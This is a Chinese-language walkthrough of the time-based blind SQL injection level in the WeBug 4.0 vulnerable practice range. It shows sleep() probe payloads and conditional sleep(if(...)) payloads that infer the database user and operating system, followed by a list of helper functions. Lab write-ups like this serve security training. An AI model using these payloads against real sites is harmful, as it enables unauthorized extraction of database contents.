感谢webug团队一直以来的更新维护!
WeBug名称定义为“我们的漏洞”靶场环境基础环境是基于PHP/mysql制作搭建而成,中级环境与高级环境分别都是由互联网漏洞事件而收集的漏洞存在的操作环境。部分漏洞是基于Windows操作系统的漏洞所以将WeBug的web环境都装在了一个纯净版的Windows 2003的虚拟机中。
Webug官网:http://www.webug.org
Webug 4.0百度云地址: https://pan.baidu.com/s/1euUY4UG43BuOjhPqkJBvcw 提取码: 3xpy
来源:226安全团队
微信号:safeteam226
页面上一节我们已经观察过了,这次我们就直接开始思考,并且还是猜测sql为:
select * from table where id = $id+(后面可能有的限制语句或嵌套查询语句等等,因此我都习惯在注入语句后面跟注释符屏蔽这些可能的干扰)
标题是延时注入,那么首先想到的就是用sleep()函数来让页面延时打开,进而判断出延时注入点。
假设$id为数字型:
url?id=1 and sleep(1) %23,无反应
假设$id为字符型:
括号:url?id=1) and sleep(1) %23,无反应
双引号:url?id=1" and sleep(1) %23,无反应
单引号:url?id=1' and sleep(1) %23,有反应了,页面有明显的延迟
至此,延时注入点就找到了,我们就可以利用它来获取我们想要的信息了。
比如用户名长度
url?id=1' and sleep(if(length(user())<15,0,3)) %23
url?id=1' and sleep(if(length(user())<15,0,3)) %23
比如操作系统名
url?id=1' and sleep(if("Win32"=@@version_compile_os,0,3)) %23
以上只是说明思路,具体用哪种函数并不重要,不过还是介绍下常用的几种函数:
sleep() //等待一定时间后执行SQL语句,单位为秒,如sleep(3)为等待3秒
if(条件,true,false) //条件为真返回true值,否则返回false值,如if(a=b,0,5)为如果a等于b则返回0,否找返回5。常用条件:=、<、<=、>、>=
length(str) //返回长度
mid(str,start,length) //截取字符串,从1开始,0以及超过长度部分返回NULL
ord(str) //返回字符串第一个字符的 ASCII 值。
2019/5/17:增加查询Flag
这个太麻烦了,有毅力的读者请参照第一关的思路来弄吧,弄的时候需要注意flag值可能在其他表、其他库。